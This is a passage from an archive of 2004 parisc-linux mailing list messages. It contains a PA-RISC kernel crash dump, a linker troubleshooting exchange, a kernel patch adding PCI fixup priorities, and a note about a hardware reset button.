8. Outfield Core Centronics at 0xf0824000 [2/0/6] { 10, 0x0, 0x009, 0x00074 }
9. Outfield FW SCSI at 0xf0830000 [2/0/7] { 10, 0x0, 0x009, 0x0007c }
10. Outfield Audio at 0xf1000000 [2/0/8] { 10, 0x0, 0x009, 0x0007f }
11. Cobra EISA BA at 0xfc000000 [4] { 11, 0x0, 0x004, 0x00076 }
12. Snake Cheetah (735/130) at 0xfffbe000 [8] { 0, 0x0, 0x206, 0x00004 }
13. Memory at 0xfffbf000 [9] { 1, 0x0, 0x037, 0x00009 }
CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz
Cutoff version 4 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
SCSI subsystem initialized
STI GSC/PCI core graphics driver Version 0.9a
    id 26d148ee-40a00499, conforms to spec rev. 8.02
    graphics card name: HPA1439A
fb0: stifb 1280x1024-32 frame buffer device, HPA1439A, id: 26d148ee, mmio: 0xf80
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Soft power switch support not available.

Stack Dump:
 10064a58:  10064a58 081a0245 6fc50080 2b602000
 10064a48:  22926000 6bc23fd9 22726000 e840c002
 10064a38:  0f131280 34130002 87002008 0f331280
 10064a28:  34130002 87202008 34370800 e81f1d05
 10064a18:  2b602000 341c3fff e81f1d9d 00000000
 10064a08:  100646c0 0000001a 0000001c 2b602000
 100649f8:  6bd43eb1 e81f1db5 6bd33ea1 10104684
 100649e8:  08930a13 4bd43eb1 4bd33ea1 08040258
 100649d8:  0000000f 10321ee0 0000000f 0000000e
 100649c8:  00000010 00000000 10321e04 08040259
 100649b8:  2b602000 86602028 49130220 1013d2cc
 100649a8:  4bd73eb1 888320a2 081c0244 d35a1ff0
 10064998:  e85f045d f9000000 ffffffff 10064508
 10064988:  00000020 4bd83ea1 343a0828 e85f0a25
 10064978:  08050257 08030259 2b602000 0ae30003
 10064968:  86c02030 0ab90403 0aa50415 0a930205
 10064958:  10321e04 10321ed0 0000000f 00000000
 10064948:  10321e04 00000000 10321e04 4bd83ea1
 10064938:  8f803f35 0806025a e85f1c75 1013d53c
 10064928:  4bd53eb1 8333a038 0b070419 d6740821
 10064918:  08180259 8e602028 0af80213 36973fff
 10064908:  0cc81094 4fc93f01 e840c000 4bc33f31
 100648f8:  4bc43f29 4bc53f21 4bc63f19 10109088
 100648e8:  4bc83f09 4bc23ed9 0938041c 08180254
 100648d8:  8b07bf45 10321e04 00000201 00000001
 100648c8:  10322140 106677b0 10321e04 37d93eb1
 100648b8:  0806025a 343a07a0 e85f0bbd 1013d53c
 100648a8:  08140258 2b602000 34370810 2b602000
 10064898:  10321e04 00000210 0000001c 00000000
 10064888:  0e742088 00000017 20ffaba0 20ffabac
 10064878:  00000020 000000d0 00000001 10255edc
 10064868:  10255ed8 00000000 00000000 00000000
 10064858:  00000000 00000000 00000000 00000000
 10064848:  00000000 00000000 00000000 00000000
 10064838:  41000000 00000000 40800000 00000000
 10064828:  40000000 00000000 40000000 fffffde0
 10064818:  41800000 00000000 40200000 00000000
 10064808:  40200000 00000000 40300000 00000000
 100647f8:  41000000 00000000 40800000 fffffde0
 100647e8:  fffffde0 00000000 41000000 fffffde0
 100647d8:  fffffde0 00000000 40800000 00000000
 100647c8:  41000000 fffffde0 fffffde0 00000000
 100647b8:  00000000 00000010 00000010 00000000
 100647a8:  41800000 00000000 00000000 00000000
 10064798:  00000000 ffffffff 7f7fffff ffffffff
 10064788:  7f7fffff fffffde0 fffffde0 00000000
 10064778:  000003c7 00000000 4471cccc 00000000
 10064768:  431c0000 00000000 42780000 00000000
 10064758:  00000000 00000000 00856606 00000000
 10064748:  00000000 00000000 08090800 10255d20
 10064738:  100646c0 00000000 00000500 1030a010
 10064728:  00002000 00000000 00000000 00000000
 10064718:  00000000 00000000 00000007 00000000
 10064708:  ffffffff 00000000 00000000 00000200
 100646f8:  00000010 000000ff 10064508 00000000
 100646e8:  00000000 00000500 00002000 20f37000
 100646d8:  00000020 10064508 ffffffff f9000000
 100646c8:  1024b0c4 00000000 0004ff0f 103b7534
 100646b8:  00000020 000000d0 00000001 1024f48c
 100646a8:  00000001 00000000 20ff5bc0 10064548
 10064698:  10321e04 00000208 0000000f 00000000
 10064688:  10321e04 00000003 10321e04 20ffab38
 10064678:  00000060 000000d0 00000001 20e9c0a0
 10064668:  ffffffff 000000a0 20e38140 00000001

Kernel addresses on the stack:
 [<10104380>] parisc_terminate+0x60/0xb8
 [<10104684>] handle_interruption+0x2ac/0x5b0
 [<1013d2cc>] rmqueue_bulk+0x78/0xa4
 [<1013d53c>] buffered_rmqueue+0xd8/0x164
 [<10109088>] intr_check_sig+0x0/0xc
 [<1013d53c>] buffered_rmqueue+0xd8/0x164
 [<10255edc>] cfb_imageblit+0x24c/0x55c
 [<1024f48c>] move_buf_aligned+0x58/0x84
 [<1024b0c4>] putcs_aligned+0x18c/0x21c
 [<102547bc>] stifb_setcolreg+0xc4/0x118
 [<1024b4ec>] accel_putcs+0xac/0xd8
 [<102533c0>] fb_set_cmap+0xec/0x1b8
 [<10207a1c>] do_update_region+0x1e0/0x234
 [<102087b0>] redraw_screen+0x120/0x1b4
 [<10208680>] set_origin+0xb0/0xc0
 [<10208e38>] vc_resize+0x374/0x430
 [<10141130>] cache_alloc_refill+0x1b4/0x270
 [<1024bce4>] fbcon_set_display+0x3a0/0x7a4
 [<10208918>] visual_init+0xb0/0x124
 [<1020d02c>] take_over_console+0x1e0/0x244
 [<10126f44>] __tasklet_schedule+0x70/0x74
 [<103714c0>] fb_console_init+0x3c/0x4c
 [<1036e760>] vty_init+0xec/0x114
 [<1036dd80>] tty_init+0x22c/0x250
 [<1036da48>] rand_initialize+0x6c/0xfc
 [<10364fa4>] do_initcalls+0x58/0xdc
 [<101001d0>] init+0x28/0xd4
 [<10108c5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=26 regs=100646c0 (Addr=0000001c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 00000000 1024b0c4 f9000000
r04-07  ffffffff 10064508 00000020 20f37000
r08-11  00002000 00000500 00000000 00000000
r12-15  10064508 000000ff 00000010 00000200
r16-19  00000000 00000000 ffffffff 00000000
r20-23  00000007 00000000 00000000 00000000
r24-27  00000000 00000000 00002000 1030a010
r28-31  00000500 00000000 100646c0 10255d20
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10255ed8 10255edc
 IIR: 0e742088    ISR: 00000000  IOR: 0000001c
 CPU:        0   CR30: 10064000 CR31: 10359000
 ORIG_R28: 00000020
 IAOQ[0]: cfb_imageblit+0x248/0x55c
 IAOQ[1]: cfb_imageblit+0x24c/0x55c
 RP(r2): putcs_aligned+0x18c/0x21c

--Boundary-00=_pXwWBRBPUSNsQsv--



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3 experimental debs - patch
Date: Thu, 30 Sep 2004 08:15:03 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <4152E792000018E3@mail-6-bnl.tiscali.it>
References: <200409292354.i8TNsZ2c004681@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624488 25935 80.91.229.3 (22 Nov 2014 02:48:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13222 invoked by uid 65534); 30 Sep 2004 06:16:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 30 Sep 2004 08:16:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3775D3BE25; Thu, 30 Sep 2004 00:16:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08304-06; Thu, 30 Sep 2004 00:16:02 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 95F213BE35; Thu, 30 Sep 2004 00:15:23 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BAFD3BE25
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Sep 2004 00:15:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08318-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Sep 2004 00:15:18 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1FCF03BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Sep 2004 00:15:18 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8F7A54947FF; Thu, 30 Sep 2004 00:15:17 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-6-bnl.tiscali.it (mail-6-bnl.tiscali.it [213.205.33.226])
	by palinux.hppa (Postfix) with ESMTP id AAA4749474A
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Sep 2004 00:15:16 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Thu, 30 Sep 2004 08:15:03 +0200
In-Reply-To: <200409292354.i8TNsZ2c004681@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24954


Hello jda,
> 
> > All failed because:
> > /mnt/palin/Develop/parisc-linux/build/binutils/ld/ld-new: warning: =3D=

> > ld.so.1,
> > needed by /lib/libc.so.6, not found (try using -rpath or -rpath-link)=

> > 
> > even thought the cmds of the form:
> > /mnt/palin/Develop/parisc-linux/build/binutils/ld/ld-new -m hppalinux=


> =3D
> > -o
> > tmpdir/ld1 -dynamic-linker /lib/ld.so.1 ...
> 
> Do you have LD_LIBRARY_PATH library path set to something wierd?
> I can't duplicate this with LD_LIBRARY_PATH unset or to my normal
> setting.  What do you see when you enter `ldd /lib/libc.so.6'?
> 
root@patst006:~ # echo $LD_LIBRARY_PATH

root@patst006:~ # ldd /lib/libc.so.6 
        /lib/ld.so.1 =3D> /lib/ld.so.1 (0x41328000)

(and I didn't find any other libc.so.6)

That said I read back <http://mirror.vtx.ch/lfs/lfs/view/testing/chapter0=
5/binutils-pass1.html>
and I notice this step:
"make -C ld LDFLAGS=3D"-all-static" LIB_PATH=3D/tools/lib"

which, according to comments:
" -C ld LDFLAGS=3D"-all-static" LIB_PATH=3D/tools/lib

    This option rebuilds everything in the ld subdirectory. Specifying th=
e
LIB_PATH Makefile variable on the command line allows us to override the
default value and point it to the temporary tools location. The value of
this variable specifies the linker's default library search path. This pr=
eparation
is used later in the chapter.
"
And so I would had to prefer to make the check before completing this ste=
p?

Thanks,
    Joel



-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Sort generic PCI fixups after specific ones
Date: Thu, 30 Sep 2004 18:41:55 +0100
Lines: 108
Approved: news@gmane.org
Message-ID: <20040930174155.GT16153__44908.791993703$1416624488$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20040922214304.GS16153@parcelfarce.linux.theplanet.co.uk> <20040923172038.GA8812@kroah.com> <20040923173151.GX16153@parcelfarce.linux.theplanet.co.uk> <20040924023357.A2526@jurassic.park.msu.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624488 25938 80.91.229.3 (22 Nov 2014 02:48:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:08 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 Greg KH <greg@kroah.com>,
 Linus Torvalds <torvalds@osdl.org>,
 Andrew Morton <akpm@zip.com.au>,
 linux-kernel@vger.kernel.org,
 linux-pci@atrey.karlin.mff.cuni.cz,
 parisc-linux@parisc-linux.org
To: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux-kernel-owner+deller=40gmx.de-S269367AbUI3RmI@vger.kernel.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9729 invoked by uid 65534); 30 Sep 2004 17:43:38 -0000
Original-Received: from vger.kernel.org (EHLO vger.kernel.org) (12.107.209.244)
  by mx0.gmx.net (mx054) with SMTP; 30 Sep 2004 19:43:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S269367AbUI3RmI (ORCPT <rfc822;deller@gmx.de>);
	Thu, 30 Sep 2004 13:42:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S269370AbUI3RmI
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 30 Sep 2004 13:42:08 -0400
Original-Received: from parcelfarce.linux.theplanet.co.uk ([195.92.249.252]:32227 "EHLO
	www.linux.org.uk") by vger.kernel.org with ESMTP id S269367AbUI3Rl6
	(ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 30 Sep 2004 13:41:58 -0400
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CD4wF-0003vC-Sl; Thu, 30 Sep 2004 18:41:55 +0100
Content-Disposition: inline
In-Reply-To: <20040924023357.A2526@jurassic.park.msu.ru>
User-Agent: Mutt/1.4.1i
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24955

On Fri, Sep 24, 2004 at 02:33:57AM +0400, Ivan Kokshaysky wrote:
> I believe we do need third level of fixups, specifically for devices like
> IDE which can change the PCI header contents (class code, BAR layout etc.)
> depending on some magic bits in their registers.
> Such "early" or "pre-header" fixups should be called right after the device
> discovery, before probing the BARs. Apparently pci_setup_device()
> is a proper place for that.

OK, fine.

Allow prioritising PCI fixups.  "How it works" is covered in the comment
in pci.h.  The patch to superio.c may well only apply with fuzz to the
current Linux tree; I include it only to show an example.

Index: linux-2.6/drivers/parisc/superio.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/superio.c,v
retrieving revision 1.11
diff -u -p -r1.11 superio.c
--- linux-2.6/drivers/parisc/superio.c	28 Sep 2004 17:07:01 -0000	1.11
+++ linux-2.6/drivers/parisc/superio.c	30 Sep 2004 17:36:34 -0000
@@ -481,7 +481,7 @@ void superio_fixup_pci(struct pci_dev *p
 	pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);
 	printk("PCI: Enabled native mode for NS87415 (pif=0x%x)\n", prog);
 }
-DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, superio_fixup_pci);
+DECLARE_PCI_FIXUP_HEADER_PRI(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, superio_fixup_pci, 1);
 
 
 static int __devinit superio_probe(struct pci_dev *dev, const struct pci_device_id *id)
Index: linux-2.6/include/asm-generic/vmlinux.lds.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-generic/vmlinux.lds.h,v
retrieving revision 1.4
diff -u -p -r1.4 vmlinux.lds.h
--- linux-2.6/include/asm-generic/vmlinux.lds.h	13 Sep 2004 15:24:02 -0000	1.4
+++ linux-2.6/include/asm-generic/vmlinux.lds.h	30 Sep 2004 17:36:35 -0000
@@ -19,10 +19,14 @@
 	/* PCI quirks */						\
 	.pci_fixup        : AT(ADDR(.pci_fixup) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start_pci_fixups_header) = .;		\
-		*(.pci_fixup_header)					\
+		*(.pci_fixup_header1)					\
+		*(.pci_fixup_header2)					\
+		*(.pci_fixup_header3)					\
 		VMLINUX_SYMBOL(__end_pci_fixups_header) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_final) = .;		\
-		*(.pci_fixup_final)					\
+		*(.pci_fixup_final1)					\
+		*(.pci_fixup_final2)					\
+		*(.pci_fixup_final3)					\
 		VMLINUX_SYMBOL(__end_pci_fixups_final) = .;		\
 	}								\
 									\
Index: linux-2.6/include/linux/pci.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/pci.h,v
retrieving revision 1.18
diff -u -p -r1.18 pci.h
--- linux-2.6/include/linux/pci.h	13 Sep 2004 15:24:12 -0000	1.18
+++ linux-2.6/include/linux/pci.h	30 Sep 2004 17:36:36 -0000
@@ -1010,16 +1010,29 @@ enum pci_fixup_pass {
 	pci_fixup_final,	/* Final phase of device fixups */
 };
 
-/* Anonymous variables would be nice... */
-#define DECLARE_PCI_FIXUP_HEADER(vendor, device, hook)					\
-	static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_used__	\
-	__attribute__((__section__(".pci_fixup_header"))) = {				\
-		vendor, device, hook };
-
-#define DECLARE_PCI_FIXUP_FINAL(vendor, device, hook)				\
-	static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_used__	\
-	__attribute__((__section__(".pci_fixup_final"))) = {				\
+/*
+ * Most fixups should be declared as DECLARE_PCI_FIXUP_HEADER() or
+ * DECLARE_PCI_FIXUP_FINAL().  If you need to ensure ordering, you can
+ * specify a priority.  Current available priorities are 1, 2 (the default)
+ * and 3.  If you need to add more priorities, see
+ * include/asm-generic/vmlinux.lds.h
+ */
+#define DECLARE_PCI_FIXUP_SECTION(section, name, vendor, device, hook)	\
+	static struct pci_fixup __pci_fixup_##name			\
+	__attribute_used__ __attribute__((__section__( #section ))) = {	\
 		vendor, device, hook };
+#define DECLARE_PCI_FIXUP_HEADER(vendor, device, hook)			\
+	DECLARE_PCI_FIXUP_SECTION(.pci_fixup_header2,			\
+			vendor##device##hook, vendor, device, hook)
+#define DECLARE_PCI_FIXUP_HEADER_PRI(vendor, device, hook, pri)		\
+	DECLARE_PCI_FIXUP_SECTION(.pci_fixup_header##pri,		\
+			vendor##device##hook, vendor, device, hook)
+#define DECLARE_PCI_FIXUP_FINAL(vendor, device, hook)			\
+	DECLARE_PCI_FIXUP_SECTION(.pci_fixup_final2,			\
+			vendor##device##hook, vendor, device, hook)
+#define DECLARE_PCI_FIXUP_FINAL_PRI(vendor, device, hook, pri)		\
+	DECLARE_PCI_FIXUP_SECTION(.pci_fixup_final##pri,		\
+			vendor##device##hook, vendor, device, hook)
 
 void pci_fixup_device(enum pci_fixup_pass pass, struct pci_dev *dev);
 

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain

From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@ldl.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Easy-press TOC button
Date: Fri, 1 Oct 2004 11:09:15 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20041001170915.GA24570@ldl.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624488 25942 80.91.229.3 (22 Nov 2014 02:48:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24297 invoked by uid 65534); 1 Oct 2004 17:10:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 01 Oct 2004 19:10:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3DAC93BE0E; Fri,  1 Oct 2004 11:09:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00300-03; Fri, 1 Oct 2004 11:09:50 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8DF173BDFC; Fri,  1 Oct 2004 11:09:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9771A3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Oct 2004 11:09:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32314-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Oct 2004 11:09:19 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6D60B3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Oct 2004 11:09:19 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 1E0C1494825; Fri,  1 Oct 2004 11:09:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by palinux.hppa (Postfix) with ESMTP id BA2A9494733
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Oct 2004 11:09:18 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119])
	by atlrel6.hp.com (Postfix) with ESMTP id 700AB615F
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Oct 2004 13:09:18 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP id AF86A38041
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Oct 2004 11:09:16 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 80223134121
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Oct 2004 11:09:16 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 25817-01 for <parisc-linux@parisc-linux.org>;
	Fri, 1 Oct 2004 11:09:15 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 54818134120
	for <parisc-linux@parisc-linux.org>;
	Fri,  1 Oct 2004 11:09:15 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id 3C38773744; Fri,  1 Oct 2004 11:09:15 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24956

When developing palo I needed to press TOC a lot and got tired of
fishing for a tool.  Here's a drawing of how I use tape and a pin on
C3000 which would work on other boxes too.  Might be handy for other
folks who like to crash their boxes a lot :-)

http://parisc-linux.org/~bame/tocmod.png
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Sort generic PCI fixups after specific ones
Date: Sat, 2 Oct 2004 01:48:17 +0400
Lines: 118
Approved: news@gmane.org
Message-ID: <20041002014817.A24292__22124.8677968562$1416624489$gmane$org@jurassic.park.msu.ru>
References: <20040922214304.GS16153@parcelfarce.linux.theplanet.co.uk> <20040923172038.GA8812@kroah.com> <20040923173151.GX16153@parcelfarce.linux.theplanet.co.uk> <20040924023357.A2526@jurassic.park.msu.ru> <20040930174155.GT16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624489 25944 80.91.229.3 (22 Nov 2014 02:48:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:09 +0000 (UTC)
Cc: Greg KH <greg@kroah.com>,
 Linus Torvalds <torvalds@osdl.org>,
 Andrew Morton <akpm@zip.com.au>,
 linux-kernel@vger.kernel.org,
 linux-pci@atrey.karlin.mff.cuni.cz,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
